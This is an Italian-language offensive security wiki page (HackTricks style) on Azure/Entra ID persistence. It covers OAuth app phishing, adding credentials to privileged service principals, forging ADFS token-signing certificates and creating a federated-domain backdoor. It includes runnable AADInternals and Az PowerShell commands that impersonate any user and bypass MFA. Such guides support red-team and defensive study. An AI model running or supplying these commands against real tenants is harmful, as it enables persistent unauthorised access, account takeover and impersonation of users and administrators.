# Az - Persistence

{{#include ../../../banners/hacktricks-training.md}}

### OAuth Application

Per impostazione predefinita, qualsiasi utente può registrare un'applicazione in Entra ID. Quindi puoi registrare un'applicazione (solo per il tenant target) che necessita di permessi ad alto impatto con consenso dell'amministratore (approvala se sei l'amministratore) - come inviare email per conto di un utente, gestione dei ruoli, ecc. Questo ci permetterà di **eseguire attacchi di phishing** che sarebbero molto **fruttuosi** in caso di successo.

Inoltre, potresti anche accettare quell'applicazione con il tuo utente come modo per mantenere l'accesso su di essa.

### Applications and Service Principals

Con i privilegi di Application Administrator, GA o un ruolo personalizzato con permessi microsoft.directory/applications/credentials/update, possiamo aggiungere credenziali (segreto o certificato) a un'applicazione esistente.

È possibile **prendere di mira un'applicazione con permessi elevati** o **aggiungere una nuova applicazione** con permessi elevati.

Un ruolo interessante da aggiungere all'applicazione sarebbe il **ruolo di amministratore dell'autenticazione privilegiata** poiché consente di **reimpostare la password** degli Amministratori Globali.

Questa tecnica consente anche di **bypassare MFA**.
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- Per l'autenticazione basata su certificati
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### Federation - Token Signing Certificate

Con **privilegi DA** su AD on-prem, è possibile creare e importare **nuovi certificati di firma del token** e **certificati di decrittazione del token** che hanno una validità molto lunga. Questo ci permetterà di **accedere come qualsiasi utente** il cui ImuutableID conosciamo.

**Esegui** il comando qui sotto come **DA sui server ADFS** per creare nuovi certificati (password predefinita 'AADInternals'), aggiungerli a ADFS, disabilitare il rollover automatico e riavviare il servizio:
```bash
New-AADIntADFSSelfSignedCertificates
```
Quindi, aggiorna le informazioni sul certificato con Azure AD:
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Federazione - Dominio Fidato

Con privilegi GA su un tenant, è possibile **aggiungere un nuovo dominio** (deve essere verificato), configurare il suo tipo di autenticazione su Federato e configurare il dominio per **fidarsi di un certificato specifico** (any.sts nel comando sottostante) e dell'emittente:
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
```
## Riferimenti

- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)

{{#include ../../../banners/hacktricks-training.md}}
